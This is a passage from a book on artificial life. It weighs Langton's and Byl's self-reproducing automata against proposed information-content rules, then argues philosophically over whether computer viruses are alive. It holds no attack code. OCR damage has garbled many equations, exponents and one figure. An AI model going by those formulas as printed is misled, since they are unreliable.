to effect reproduction. The environment provides the needed raw
materials and a pool of negative entropy, if you will, to feed on, in
order for this organizing work to be accomplished.

The machine interpreting the instructions also serves to isolate
the sequence of instructions which it interprets from the environ-
ment. The outside environment does not make use of the instruc-
tions. And if the sequence of instructions is of low entropy, then
the entropy-increasing interaction of the environment with the
instruction sequence ought to be kept to a minimum.

When we began this chapter, we put our atomistic glasses on
and saw how Langton’s definition of self-reproduction was sorely
ambiguous. There appeared to be no way to define terms like active
and passive atomistically. We dug into the idea of information, and
found ourselves at a philosophical impasse. We could not even
determine whether an everyday object had lots of information in it
or little without knowing something of its origin or “first cause.”

In the end we find that we must throw away our atomistic
glasses, and accept Langton’s definition as more than just a defini-
tion of self-reproduction. It brings together several important philo-
sophical ideas that are essential to our understanding of what life
is. It introduces the concept of a living organism as a machine which
executes coded instructions. It also introduces the concept of infor-
mation defined solely within the context of self-reproduction.
These ideas are obviously drawn from our understanding of carb-
on-based life.

Thus we end up with a fairly clear picture of self-reproduction
in terms of a machine, instructions, and the environment. In adopt-
ing that picture, we realize that we are stepping away from strict
atomism since we are separating meaningful and meaningless
information, and introducing the language of machines. That is not
really too different from what Aristotle did 2300 years ago.

As an aside, note that just because we have introduced the idea
of a machine does not mean we have to say that a living organism
is a machine. (We may remember the considerations of the last
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chapter.) All we are saying is that a living organism is like a
machine with respect to self-reproduction. Thus we may use such
language while making only a minimal philosophical commitment.

The Tautology

Unfortunately, if we stare long enough at our definitions of
meaningful information and self-reproduction, there appears to be
a tautology here—meaningful information is defined in terms of
the ability to reproduce, and self-reproduction is defined in terms
of meaningful information.

We still haven’t found a good way to draw the line between
self-reproduction and physics-driven replication. We have to go
beyond Langton and add something more to this definition to do
that.

Let me illustrate: We have already discussed John Byl’s sim-
plifications of Langton’s automaton. Byl did not take his automata
to their logical limits, though. If we do, we end up with a very
simple automaton, depicted in Figure 12.1 With moderately simple
rules, this automaton can be made to reproduce. In one generation
it produces a single child, which in turn produces another child,
until they run off the cellular array. This automaton maintains
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Figure 12.1: Minimal self-reproducing automaton.
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Langton and Byl’s sheath structure, but there is only one cell of
executable code which may take on one of seven values.’

In this situation it seems rather difficult to call the observed
reproduction self-reproduction. Its simplicity is clearly similar to
crystal growth. Yet it doesn’t seem to differ conceptually from
Langton’s or Byl’s more complex automata. It has a 3-cell sheath,
and a 1-cell piece of code.

This minimal automaton seems to satisfy our criteria for self-
reproduction. The information in the central cell is critical for
reproduction, since any other value but 1 will not work. We seem
to have a machine in the sheath, since the act of containing the
active information-site is as much an execution of instructions as
in more complex automata of this type. Thus it would appear that
our automaton effects self-reproduction. Yet it is obviously nothing
more than a growing crystal.

So how can we draw the line??

Some criteria on the quantity of information involved in the
reproduction process are essential in order to draw a line between
self-reproduction and physics-driven replication. Without such
criteria, we will forever stumble over these gray areas. We must
ask the question: “How much information is required for self-re-
production?”

Up front, I want to say that I cannot answer this question
precisely. There are difficulties involved (but you have gotten used
to that by now, I hope). None the less, some useful guidelines seem
to be in order. I do not want to suggest that these guidelines are The
Answer, though I will use them throughout the rest of this book.
To understand our guidelines, let’s define three quantities:

(INST) = The information content of the instructions in a self-
reproducing automaton.

(MACH) = The information content of the machine executing

5 This automaton is the MINIMAL configuration, for use with SRA_LAB on
the Program Disk.
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the instructions.

(PHYS) = The information content of the physical laws
governing the universe in which the automaton exists.

I use the notation LI for information content because I do not
particularly want to specify how the information content is meas-
ured. I am open to the possibilities. For example, in measuring

(INST), it might be reasonable to determine how many different
sequences of instructions could be plugged into a given machine to
effect reproduction. Then one could calculate [ | and define the
information content using entropy. On the other hand, since the
machine is being constructed by another machine—which is exe-
cuting an algorithm—it might be more convenient to define

(MACH) algorithmically.

Ok, let’s look at some rules. . . .

Rule One

For bona fide self-reproduction to occur, we might expect two
inequalities to hold. The first is simply

(INSTR) > [ (MACH) 12.16

Since the instructions being executed should specify how to con-
struct the machine, they should only be able to construct a machine
as complex as they are themselves. Thus the information content
of the machine should be less than or approximately equal to the
information content of the instructions being executed. I use a
greater sign here, because the instructions could specify more
information than needed to construct the machine without harm.
For example, all the living cells in your body contain the genetic
information to produce hair, though not all cells produce hair, and
the hair seems to be at best very indirectly related to the capacity
to reproduce.

In situations where [ (INSTR)<[(MACH), there is a problem.
Either we have not correctly determined the scope and nature of the
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instructions in the self-reproducing automaton, or we are not talk-
ing about self-reproduction.

For example, suppose we had a machine which would repro-
duce an exact copy of itself and a tape 10,000 bits long, no matter
what tape was inserted into it. Since any tape will do, the entropy
will be as large as it can get, and there is essentially no information
content in the tape apart from its exactly-specified length. The
machine, on the other hand, is very complex and specific—it has a
high information content. The inequality does not hold, but it is
rather obvious that the machine is not dependent upon the content
of the tape being inserted into it to accomplish self-reproduction.

Upon further investigation we might find that

A. There is some hidden information somewhere, which we had not
accounted for. (For example, a hidden circular tape that is really
directing the reproduction process.)

or,

B. The reproduction is physics-driven, and the physics is forcing
the reproduction to occur.

Situation (A) is reconcilable with our idea of self-reproduction as
long as we redefine what machine and instructions are. Clearly the
tape we’re putting into the machine doesn’t have anything to do
with the instructions. Situation (B) is what we want to avoid calling
self-reproduction.

Now, we might want to ask how well Rule One holds for living
organisms, and for some of the cellular automata we have been
discussing.

Living organisms use DNA to encode the information they
contain. The DNA specifies the structure of all the proteins which
a cell uses to accomplish all of its functions, including reproduc-
tion. The DNA may specify the structure of proteins which never
get used in a particular cell (especially in a multi-cellular animal),
so in this sense, it may have more information than that cell needs.
On the other hand, a cell (again, in a multi-cellular animal) may
contain some information not specified directly by the DNA. For
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example, liver cells and skin cells contain the same DNA in any
given animal, but they look radically different and perform radi-
cally different functions. When they reproduce, they form liver and
skin cells, respectively. There is information content in these
differences, which is contained in the relative ratios of proteins,
etc., in the cell, rather than the DNA itself. However, the DNA
specifies all of the proteins in both cells, and the information
content in the different structures should be relatively small. Thus,
even though we cannot do a detailed calculation to prove it, Rule
One appears to be reasonable for a living cell.

Langton’s automaton is another good example to check against
Rule One. If we view the sheath as the interpreting machine, and
the thread of states inside the sheath as the information, we can
analyze the automaton in detail. The information looks like this:

...111104104107107107107107107111...

Each “071" sequence causes the sheath to be extended one unit
from the end, and the two 041" sequences make it turn a corner.
So essentially this information specifies “extend the sheath six

DDNDNDNDDND NN
DNDNDNDDNN
DNDNDNDDNN
D DNDNDDNDDNDDN

Figure 12.2: The sheath of Langton’s automaton.
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units and turn left.” In its minimal configuration, the sheath is a
box-like structure. (See Figure 12.2) The instructions, interpreted
in the same manner, are a simple algorithmic description of a box
when repeated. With such a simple-minded analysis, we can see
that Rule One makes some sense here. The encoded sequence
Langton’s automaton contains appears to be a compact algorithm
which describes the sheath-machine which contains it.

We can take a more quantitative approach using entropy to
define information content. We get®

(INSTR) = 55 12.17a
(MACH) = 41 12.17b

so Rule One holds, [I(INSTR)>[((MACH)

Now, if we turn to our minimal automaton, and attempt a
similar analysis, we run into trouble. The single cell of information
does not provide an algorithm to construct the rather more compli-
cated three-cell sheath—at least as far as I can see. There appears
to be too little information content in the “information.” An
entropy calculation gives the results’

(INSTR) = 1.6 12.18a
(MACH) =2.3 12.18b

so Rule One does not hold.

In conclusion, Rule One appears to be useful for excluding
some of the trivial cases of reproduction that we do not want to
classify as self-reproduction.

6 D(INSTR)=ln(728) since there are 28 instructions in the tape,which may be
anything but the sheath state; (MACH)=In(72!/51!121!) because we want a
specific arrangement of 51 ‘2’ states in 72 cells. 72 cells is obtained by using
the 10 x 10 box that the sheath can be contained in, less 28 states for the tape.

7 O(INSTR)=In(5) since there is one instruction in the tape, which may be
anything but the sheath state; J(MACH)=In(5!/3!2!), calculated the same way
as for Langton. Obviously there can be some variation in these numbers,
depending on how you do it, but the shift in information content here is clear.
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Rule Two

The second rule we would like to hold for a self-reproducing
entity is

O(INSTR) > O(PHYS) 12.19

That is, the information content of the instructions is greater than
the information content of the physics of the system, with regard
to self-reproduction.

In his original paper, Chris Langton suggested that the idea of
self-reproduction should “require that responsibility reside primar-
ily with the parent structure itself, but not fotally. This means that
the structure may take advantage of certain properties of the tran-
sition function ‘physics’ . . . but not to the extent that the structure
is merely passively copied by mechanisms built into the transition
function.”® Our Rule Two is simply an attempt to quantify
Langton’s “primarily.”

Langton seemed to rely primarily on appearances in his paper.
The automaton looked like it was self-reproducing. As we have
seen, though, Byl’s automaton also looks like it was self-reproduc-
ing like a cell, but we could define something very similar which
looked more like a crystal. It seems hard to draw the line between
these two automata on the basis of appearances alone. Likewise,
our MINIMAL automaton also appears to self-reproduce, much
like Byl. Somehow we need to draw a line.

One would suspect that if the physics of the system is somehow
driving the reproduction, then the basic physics is informing the
reproduction process, rather than the instructions within the
automaton. Rule Two is simply a quantitative attempt to say that
the instructions must drive the reproduction process more strongly
than the physics itself, if we are dealing with bona fide self-repro-
duction.

8 Christopher Langton, ““ Self-Reproduction in Cellular Automata,” Physica 10D
(1984) p. 137.
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The problem we run into with Rule Two is that we must start
making assumptions in order to even define [I(PHYS). These
assumptions can sometimes be justified and sometimes they can-
not, depending on how much we know about the creation of the
physical rules in question.

In the case of Langton’s automaton, we can say a lot about the
creation of the rules, and there is a fairly straight forward way to
define [ (PHYS). Since the transition rules for a cellular automaton
are discrete and well understood, we can calculate how many sets
of transition rules are possible. Likewise, we can impose a condi-
tion on the rules and see how that restricts the possibilities. In
Langton’s system, there are eight possible states per cell. One
specifies a rule as

ctrbl - ¢’ 12.20

where c, t, 1, b, and | stand for center, top, right, bottom, and left,
respectively, and ¢’ is the new center state. For example, the rule

32100 - 4 12.21

means that a 3 state with a2, a 1 and two 0’s for neighbors will turn
into a 4.

For eight states per cell it is fairly easy to see that there are 8°
= 32,768 transition rules in all and eight possibilities for each rule.
Thus there are a total of 83768 possible different sets of rules. If
we take it as given that the rules are rotationally symmetric (so that
c trbl gives the same result as ¢ ltrb, etc.) that reduces the number
of possibilities to 88332, When Langton designed his automaton, he
specified 179 rules. To define [ (PHYS) in terms of entropy, we
write

(PHYS) =- SLangton Specification 12.22
In essence the information content of the physics is equal to (minus)

the change in entropy as a result of specifying 179 rules. That is
easy to calculate, since (taking kp=1)
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SUnspecified = In(8%372) 12.23
and
Sspecified = IN(8%*179) 12.24
Thus,
(PHYS) = 179 In(8) = 372. 12.25

This is a huge number compared to [(INSTR)=55, so Rule Two
does not hold at all for Langton’s automaton! In fact we might have
suspected that, since Langton specifically designed the transition
rules to make his automaton work. He did not start with a purely
arbitrary set of rules, and try to design an automaton that could
reproduce without touching the rules. Thus, we shouldn’t be too
surprised to find that Langton’s rules have a considerable informa-
tion content.

A similar analysis shows that both Byl’s automata and our
minimal automaton dismally fail Rule Two. Only when we back
up and start looking at automata as complex as Codd’s or Von
Neumann’s universal constructors do we find configurations that
might be able to stand up to a test like Rule Two.

Y et the real problem we have with Rule Two is not that it points
up problems with the automata we’ve been discussing. Rather, we
have stepped away from our very narrow definition of meaningful
information into philosophical quicksand. Let me illustrate: We
just got done assuming that the rules for the cellular array were
rotationally symmetric. That seems reasonable if we want the array
to model the (rotationally symmetric) real world. however there is
no a priori reason to assume it. If we do not, then Langton would
have specified about 4x179 rules instead of just 179, and the
information content of the physics would jump to 4x372. Again,
there is no a priori reason that only nearest neighbors affect the
transition rules. If corners also have a bearing on them we must
look at rules of the form

c trbl q1qpq3q4 — €’ 12.26
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and there are now 8°=134 million possible rules. Langton’s rules
then single out the corners-don’t-count rules as well, causing
another large jump in J(PHY'S). Continuing such arguments to take
in more and more possibilities, it appears we could push LJ(PHY'S)
just about as high as we’d like. And without a precise way to put a
limit on LJ(PHY'S), Rule Two would appear to be of questionable
value.

Yet it is not meaningless. In Langton’s case, even a very
sympathetic attempt to define J(PHYS) gave us a big number and
quite correctly led us to the conclusion that Langton chose the
transition rules to make a small automaton work. Thus, our analysis
strongly suggests that even though Langton’s automaton does
manipulate information, it does not manipulate nearly enough to
be considered as a case of bona fide self-reproduction. In even the
most sympathetic light of Rule Two, the automaton appears to be
strongly physics-driven, and information driven only to a (rela-
tively) small extent.

It might appear that defining

U(PHYS) = ASSpeciﬁcation/ SUnspeciﬁed 12.27

would make more sense. That makes the transition rule information
more of a constant quantity when dealing with a variable starting
point. Then the problem becomes one of defining [J(INSTR) in a
compatible way. Rule two will never work if we’re comparing
apples and oranges.

The problem we face here is the same problem we had when
we asked whether some rock had a lot of information content or
not. We could not say without making some assumptions about the
rock and the nature of the universe. Those assumptions were not
objective and very unscientific, but we had to make them—one way
or the other—if we were even going to begin asking scientific
questions. In the same way, we cannot get a handle on [J(PHYS)
without making assumptions.

In Langton’s case our calculation seems justified because we
knew he designed the rules to make the automaton work and we
knew he assumed nearest neighbor interactions with rotational
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symmetry. Generally speaking, we can make some sense of
U(PHYS) if we know something of the origin of the transition rules.
If we do not know the origin of the rules, defining U(PHYS)
becomes much more difficult.

In particular, we will have a hard time determining whether
OINSTR)>U(PHYS) for real-world carbon-based organisms.
Without some kind of super-model for the physical laws of our
universe—a model that tells us what sets of laws are even possi-
ble—it’s rather difficult to define J(PHYS). Do we start with
carbon chemistry? with basic chemistry? with elementary particle
physics? or with quantum gravity? And if we can’t show
OINSTR)>L(PHYS) for a biological organism, it seems unfair to
make such a requirement for artificial organisms.

Any way we try to get our hands on LJ(PHY'S) for our universe,
we must make some philosophical assumptions. Let’s consider one
such assumption, and how it will affect our perspective on Rule
Two. We might decide that either the world was designed specifi-
cally to support life, or it was not. If the world was designed to
support life, this might have been done in a number of ways. For
example, God might have set the universe up with the intention of
making us from the beginning. Or the strong anthropic principle
might have been at work. This “principle”® suggests that there are
many universes being created continuously, with all different laws.
We live in one with the right laws because only such a universe can
support life. . . one that could not support life contains no conscious
life to observe the laws in it. The problem with this anthropic
principle is that we can never observe all those other universes. As
such, it is reasonable to suggest that they do not even really exist,
at which point the strong anthropic principle becomes a sort of
intelligent creating god in itself. Either of these approaches there-
fore argue for a (possibly quite large) non-zero LJ(PHYS) for the
real world.

9 I use quotes because “axiom” or “assumption” would be a better word.
“Principle” suggests prior assent to the philosophy behind the axiom.
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An alternative is to suggest that there is some logical necessity
for the physical constants, etc., being what they are. That is, if we
had a final and exact physical theory, it would explain much more
about the laws of the universe than we know today. All of the
apparent arbitrariness would be taken out of the system, and the
laws of physics would be the only thing they can be. This differs
from the strong anthropic principle in that it does not make refer-
ence to life and consciousness. The logic only involves the micro-
scopic laws of physics. Under such an arrangement, I suppose one
could argue for [ (PHYS)=0. However, the physics we know today
is a long, long way from making any such argument.

Finally, we might suggest that the laws of physics are either
the result of blind chance, or that God created those laws without
the specific intention of creating life. In either of these cases, one
might argue that Rule Two can’t really be applied.

So in the end, we don’t know enough to get a handle on

(PHYS) for the real world, or to decide whether we should try to
apply Rule Two or not. The situation is different for any artificial
life we might design on a computer, simply because it makes sense
to look behind the scenes to see how the “physics” was designed
and examine the alternatives. Thus, Rule Two makes some sense
for artificial life, even though we can’t tackle it for organic life. We
find ourselves in the strange position of making rules for artificial
organisms that we cannot even begin to tackle for real live ones.
Two comments are in order here: (1) We need not view this unusual
predicament as bad. After all, it is our goal to better understand real
life by studying artificial life, so perhaps the ability to analyze
artificial worlds more thoroughly than the real world will in the end
give us some wisdom about the real world. (2) We should view
Rule Two as tentative. Certainly that would be in keeping with the
spirit of our tentative approach in dividing life from non-life in the
first place. We are still very much the child on the seashore, picking
up stones here and there. We have no idea what treasures that ocean
may contain, but we may ponder a few that wash up here and there.

In the realm of AL, we have already examined the case of
intentional design, where the rules are designed with the idea of
getting the automaton to work. That is clearly Langton’s automa-
ton. It is also true of most of the simpler automata. The fact that
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(PHYS)>[/(INSTR) gives us some clues as to how they were
designed. I do not know all the details about some of the other
automata, but I can say that [ designed MINIMAL by first drawing
the automaton, and a likely sequence of steps to get it to reproduce.
Then I worked out what transition rules would be needed to make
that work. Exactly how Rule Two would suggest it happened.

We can also consider automata where the connection between
the design of the rules and the design of the automaton is severed.
Here I am not talking about picking rules randomly, but about using
rules that were developed quite apart from any desire to facilitate
artificial life. Artificial life in such an environment is perhaps at
least one step removed from being a pure contrivance, in that the
transition rules weren’t designed to make it work. Computer vi-
ruses are an excellent example of such a situation. Early computer
operating systems, like MS-DOS, were not designed to either help
viruses or hinder them. Nobody writing those operating systems
had yet thought of viruses, so they didn’t plan for them. Yet, it
turned out that viruses could thrive in such an environment.

In retrospect, if we were to apply Rule Two to viruses, many
of them would come up lacking. For example, most file infecting
viruses use DOS’s Search First / Search Next functions to locate
new files to infect. Such search calls typically take up a dozen or
so bytes in a virus that may only be 200 bytes long. Yet these
functions access the disk through Interrupt 13H, and make sense of
the sectors by using DOS’s low-level file system functions. The
DOS code and the Interrupt 13H code to do all of this might be 10
or 20 kilobytes. All of it is taken as being a given, part of the physics
of the system. It obviously contains a lot more information than the
virus itself. If the virus did not have these convenient functions at
its disposal, it would have to be a minimum of 10 or 20 kilobytes
long. None the less, we can only say the virus was contrived to
exploit the operating system. We can’t say that the operating system
was designed to make the virus work.

In short, Rule Two seems to tell us something important about
self-reproducing automata, yet it is less than a satisfying rule for
the scientist. It tells us to tread softly in some areas, and beware of
the fact that we can inject information into a system via the
transition rules. It helps us not to rely on appearances when decid-
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ing whether or not something is “self-reproducing”. After all,
looking at some automaton and saying it is self-reproducing merely
because it looks like a multiplying cellular blob is totally unscien-
tific. We need some quantitative way to understand the coupling
between the physics of a system and any self-reproducing automata
that may live in that system.

Yet we would like a more systematic and invariant way to
define [ (PHYS). Given that, we could assign a concrete number
to a set of transition rules and apply Rule Two across the board. I
don’t think this is outside the real of possibility, although it is
outside the scope of this book. In order to do it, we might need an
idea of information in the transition rules that goes beyond our
simplistic entropy approach.



Autonomy

It hardly seems appropriate to discuss the philosophy of life in
the context of computer viruses and fail to mention autonomy. After
all, computer viruses are the only form of AL that has successfully
“gotten away” from their creators and established a population in
the wild. If suddenly all knowledge of how to write computer
viruses were simply erased form the minds of all who had it, we’d
still have viruses for a long time to come.

The idea of life has always been closely related to autonomy,
and yet one cannot say that living organisms are somehow self-suf-
ficient, in general. A living organism is normally dependent on
other organisms for its survival. For example, the entire animal
kingdom is dependent on the plant kingdom to convert solar energy
into useful biochemical energy. Without plants, animals could not
survive. So all animal life is dependent on other forms of life for
its very existence.

Yet living organisms are apparently autonomous in the sense
of being self-governing, or of functioning independently, without
the direct control of others. I have an iguana as a pet. Though it’s
dependent on me to feed it, etc., it definitely has a mind of its own.
It is an escape artist par excellence. It will try to bite me when it
feels like it. I would prefer some of these habits to be different. And
certainly a change would benefit him. If he ever does escape, he
won’t survive well in my climate. But he will not change.

We might view viruses in a similar light. Certainly they are
dependent on us to the extent that we turn on our computers and
execute programs. Yet they seem to have minds of their own, as
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evidenced by the fact that they often do things we would not have
them do. One might argue that this autonomy is only an appearance,
since we can disassemble them and understand exactly what they
do, when, and why. However, we should remember that maybe only
0.1% of the world’s population can do that. To the other 99.9%, the
behavior of a virus is just as mysterious as the behavior of an iguana.

I won’t belabor the point. Autonomy has little to do with
anything we’ll discuss hereafter. None the less, a self-reproducing
automaton that merely exists in an experimenter’s computer for a
limited time and then vanishes doesn’t come close to any idea of
autonomy, whereas a virus does.



So Are Viruses Alive?

After surveying some of the philosophical problems associated
with calling something “alive” we can see just how shallow any
attempts to define life mechanically are. How silly it is to specify
a half-dozen or so functional properties, and say something is alive
because it has those properties! As soon as we begin to tear at such
definitions with the pointed knife of philosophy, they come right
apart. We see the philosophical presumptions that go into making
these definitions and we see the philosophical consequences of
trying to define life precisely. And most of this philosophy is
unfathomable with the tools of science.

So after looking at some of the deep philosophical problems
involved in our grand question, how do viruses stand?

Emergent Behavior

We can design a virus with all the mechanical aspects of life,
as laid out in Part I. Does that make it actually alive? Certainly, if
strong emergent behavior is necessary for life, then a virus is not
alive, and no matter how hard we work at it, it will never be alive.
After all, a virus is a program, and our idea of strong emergent
behavior centered around the possibility that some dynamical
systems could not be modeled by any real world computer program,
now or in the future.

In terms of real science, I think strong emergent behavior is an
important consideration, though it goes against the now-popular
conception of science as a grand paradigm for all knowledge.
Instead it acknowledges the limits on our ability to calculate and
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know our world. But you will find a strong tradition of acknow-
ledging such limits among successful scientists over the centuries,
so I do not apologize for preferring an older tradition over modern
arrogance.

Carbon-based life makes a serious claim to strong emergent
behavior. Computer-based simulations, viruses included, simply
can’t measure up. The difference is fundamental. Strong emergent
behavior is an impenetrable barrier to doing exacting calculations.
That barrier keeps deterministic science from conquering life.
Concepts like free will are legitimate because of that barrier. The
behavior of a living organism cannot be determined from basic
physics, so free will is—for all practical purposes— realized.

A computer based simulation is fundamentally deterministic—
even if it uses a pseudo-random number generator, or some such
algorithm to alter its behavior in a relatively unpredictable way. It
can never exhibit this elusive quality we call “free will.” Its
behavior is predictable, at least in theory.

Of course, strong emergent behavior is not a well established
fact. Right now, it is speculative. Is it real? Could it be demon-
strated, somehow? Or is the world microscopically deterministic
in the end. From today’s perspective, it would seem that answering
such questions is not possible using science alone. At least some
philosophical presuppositions are necessary. Yet the same could be
said of quantum uncertainties.

So, in a sense, if you choose to believe that living organisms
are deterministic and exhibit only weakly emergent behavior then
you can argue that the right kind of self-reproducing automata,
including viruses, are actually alive. On the other hand, if you
choose to believe that living organisms exhibit strongly emergent
behavior, and as a result may exhibit phenomena which the micro-
scopic laws of physics cannot explain, then you can argue that
viruses cannot be actually alive. Unless scientists are agreed on the
underlying assumptions, though, agreement is not likely to be had.

Perhaps this conclusion is somewhat disappointing to you, dear
reader. We started out with the desire to determine whether or not
viruses are alive. In the end we find that crucial elements of the
answer to that question depend simply on what you believed to start
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out with. All the sophisticated analysis in the world really won’t
resolve it.

Irealize my discussion of the whole question “Is italive?” may
be somewhat crude. I've failed to find any sensible and honest
discussion of the sort in books and journals, so I’ve tried to take
what little I could find, read between the lines, and understand the
matter with an eye to being true to Truth. And though perhaps
somewhat rough, I think what I’ve said will not be significantly
modified by a more erudite yet unprejudiced discussion of the
matter. To wit, I do not believe that mere observation and logic—
the tools of science—will ever get us past the glaring philosophical
walls we face.

Therefore all we can do is to allow our disappointment to grow
into humility and wisdom. As [ said earlier, many scientists fall into
the trap of pursuing a “philosophically correct” program of re-
search without ever understanding the philosophy behind what
they’re doing. Then, what is “correct” changes, and their work
becomes irrelevant. What we have here is case and point. The
deterministic view of life is philosophically correct for today’s
scientist. But that debate has raged for thousands of years and
shifted back and forth, and it will continue to do so. From the
foregoing discussion, I think you can see that the debate is far from
being resolved. Therefore I am convinced that to do any meaningful
and lasting work in this field, we must be keen to the philosophy
and painfully aware of our limitations. Therein lies our wisdom.

As far as viruses go, we must acknowledge that in the strongest
light, they fall short of achieving life. In a more sympathetic light,
they may gain such a title, but I, for one, prefer the harshest light.
There, all our weaknesses are exposed . . . but whatever still appears
strong will always be strong. That is the key.

If I insist that viruses are alive, then I can only find agreement
with those who accept my philosophical assumptions. On the other
hand, if we set aside the big question as unanswerable-without-phi-
losophy, it does not mean we cannot learn anything about life from
viruses. They have many of the mechanical properties of life.
Therefore it would seem entirely reasonable that we might be able
to come to a better understanding of life and how it works by
studying these mechanical properties—regardless of philosophical
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beliefs. We make no claim that AL will ever give us a complete or
total understanding of life—but it ought to be at least a piece of the
puzzle. If living organisms exhibit strongly emergent behavior then
the microscopic laws of physics do not give us sufficient informa-
tion to completely understand life. But that does not mean we
cannot use microscopic laws to understand certain aspects of life.
Certainly this approach has already given scientists a tremendous
amount of insight into the processes of life. And to the extent that
such a program is possible, AL is entirely legitimate, and viruses
are worthwhile models of living organisms.

There is a large cult, both in the AL community and among
biologists proper, which revolves around the idea of creating life.
In this cult, the act of creation seems to be the goal, rather than mere
understanding. This act of creation, it would seem, is a sort of will
to power, a subliminal attempt to usurp God and put oneself on His
throne as Creator. We eschew this alchemic goal, as too fraught
with non-scientific difficulties that we cannot overcome. it is too
easy to re-define life in a favorable way—ignoring the difficul-
ties—and then create what you define . . . and then say “I have
created life.” Even if a biologist does someday succeed in creating
a carbon-based amoeba in a test-tube, that does not mean he
understands his creation any more than the butterfly understands
that by flapping its wings it will kill a dozen people with a tornado.
If life is strongly emergent, he cannot understand it fully. To those
poor brain-washed souls who pay allegiance to this cult, the under-
standing is secondary, the act of creation itself is primary. For a
real scientist and natural philosopher, though, the understanding is
everything, and the cultic goal of creation is at best a secondary
effect, at worst, an intoxicant that will delude him and misdirect all
his efforts.

A Conservative Goal

If we take up the very conservative goal of simply trying to use
viruses to better understand life, how can they best be put to work?
The matter of the genesis and evolution of life immediately pops
to mind. Although viruses are weak on even weak emergent behav-
ior, that has little to do with evolution. Evolution requires only an
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information-based genetic self-reproducing automaton to function.
We’ve already seen that viruses can evolve in simple ways.

Likewise, computer viruses might provide us with some fasci-
nating insights into the origin of life. Although origins is normally
considered part of evolution by laymen, it is actually a whole
different subject. We will treat it as such. In particular, it is often
suggested that living organisms as we know them were preceded
by simpler forms of life on several levels. What could this life have
been like? How could it have gotten going?

Before we go on to discuss these matters, though, we should
review what we call self-reproduction in computer viruses. In the
last chapter I suggested a couple of rules to apply in determining
whether a phenomenon really constitutes self-reproduction or not.
We have yet to discuss how Rule One applies to viruses, and there
is more to be said about Rule Two.

Rule One

Asyou will recall, Rule One stated that the information content
of the instructions be greater than or equal to the information
content of the machine which executes these instructions:

(INSTR) = [(MACH)

In the case of computer viruses, the machine seems to be missing
at first glance. A virus at work appears to be raw instructions being
executed by the computer itself. The computer—as the environ-
ment—cannot be the machine, so where is it?

Actually the “machine” is trivial. The bytes that make up the
virus can be understood as either instructions or as the machine.
You might imagine that the virus has three separate existences.
First, it exists on disk, attached to a file. Second, it exists in the code
segment, as instructions executing; third, it exists in the data
segment, as data being copied. (Although code and data segments
may often be physically the same, they are logically different.)

As such, Rule One is pretty much an equality for viruses, and
that is fine.
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Rule Two

Up to this point, we’ve barely touched on why computer
viruses per se should be so interesting. After all, cellular automata
seem to be very versatile, and somewhat easier to relate to living
organisms due to the apparent parallelism of a cellular array. On
the other hand, computer viruses are serial programs and don’t look
a whole lot like carbon-based life. On top of that, viruses are
potentially very dangerous.

So why should I prefer to discuss viruses, rather than AL in
general, or cellular automata?

As I’ve mentioned here and there, viruses are a phenomenon
that goes beyond some little laboratory experiment or some com-
puter-based construct. The people who designed DOS (and other
operating systems dating before the mid-eighties) had no concept
of viruses. Even later operating systems were designed by people
who didn’t care too much about viruses. They did not design the
operating system with viruses in mind at all, either with an eye
toward stopping them or an eye toward making them possible. The
people who wrote the first viruses were not scientists trying to do
something scientific, or establish some theory about life. I seriously
doubt these first virus writers had any idea of the scope of the
phenomenon that viruses would soon become.

This cannot be said of AL in general. AL started out as very
directed research. Now, there is nothing wrong with that, generally
speaking. However a pre-existing phenomenon lets us test our ideas
in a way that abstract research alone will not. It is somewhat like
the difference between pure math and physics. In the realm of pure
math, anything that is logically true is right. (It may not be inter-
esting to the mathematician, of course.) On the other hand, physics
must also in some sense conform to the physical world. A physical
theory may seem perfectly logical and yet be entirely untrue. On
the other hand, a physical theory may be at the very limit of logical
comprehensability, and yet be perfectly true (e.g. wave-particle
duality in quantum mechanics).

The real problem with AL is that you are using a universal
simulating machine (a computer) to try to simulate life. And you
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have only a fuzzy idea of what life is to begin with. The danger in
such a situation is that you may end up simulating exactly what you
want to simulate, rather than modelling life as it is. Then the
computer only becomes a tool to confirm your (possibly erroneous)
1deas of what life is and does, rather than a tool to refine those ideas.

We have encountered this problem already. Langton’s self-re-
producing automaton had a glaring problem. The physics of the
cellular array played a major part in the reproduction process. It
was designed to. And Langton cannot be singled out. The same
coupling of physics and automaton is commonplace in AL work,
in one form or another. Normally both are designed at the same
time, with the physics set up to make the automaton work.

In light of this approach, we discussed Rule Two as a way to
differentiate between physics-driven reproduction and self-repro-
duction. Rule Two simply stated that

(INST) = [|(PHYS)

and we found that some of the popular AL automata do not at all
attain to Rule Two.

Despite the fact that much modern AL work pays little heed to
the considerations of Rule Two, I think some of it is fascinating,
and I certainly don’t want to discourage AL researchers from
exploring the possibilities. However Rule Two can and should be
applied to any system in which both the physics and the automaton
are designed at the same time. If it is not, then the analysis is
incomplete and the conclusions drawn from that system should not
be trusted.

Applying Rule Two to a system in which the physics was
designed without regard to the automata is a different matter. Once
you break the logical connection (and you must break it well)
between the two, it does not make sense to say that the physics was
designed to make the automaton work. The physics then becomes
a given. The automaton can indeed take advantage of the physics,
as Langton suggested it should be permitted to do in his paper. Such
activities are legitimate in a system where the physics wasn’t
designed for the automaton. They are not entirely legitimate other-
wise, because you can hide complexity in the physical laws (e.g.
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the transition rules) and use them to facilitate what you want to
accomplish disingenuously.

Yet breaking this connection between physics and automata is
not easy. For example, if we adopt a set of randomly chosen rules
in a cellular array, they may not be very interesting. If we then
change our minds about that set, and try another randomly chosen
set, and another, and another, until we get something useful, we’ve
done a random search. Thereby, we’ve put intelligence back in the
game. And there is the whole question of whose standard we should
adopt. If researcher A and researcher B are to talk, they should use
a common standard, yet the whole idea of randomly chosen rules
works against setting one set of rules apart like this.

Computer viruses, however, evade this difficulty. We can
rightly say that early operating systems weren’t designed with them
in mind, because they didn’t exist yet. The people designing the
operating systems did not take them into consideration. So the
operating system is a given for any virus that might live in that
environment,

1 cannot stress enough how important that is.

Why?

Most modern scientists assume that the laws of this universe
were not specifically, intelligently designed in such a way as to
“make life happen” if you will, or even to make it possible for life
to exist. To suggest that they were so designed obviously implies
the existence of an intelligent Creator of some kind. (And to suggest
that they weren’t implies no such Creator, or one perhaps not overly
concerned with life at the time of creation.) This whole assumption
is very philosophical. It isn’t something that we can verify or falsify
scientifically, as far as this real world goes.

Although I have little love for mingling such assumptions with
science, I should point out that much AL work seems to go against
the grain of this idea. Rule Two—combined with looking behind
the scenes—makes it clear when the physics is designed to make
the automaton work. From this perspective, AL seems to be headed
in the direction of exploring the possibilities of some variety of
intelligent creationism.

Now to suggest that AL researchers are studying creationism
may seem somewhat preposterous. Certainly many of them are
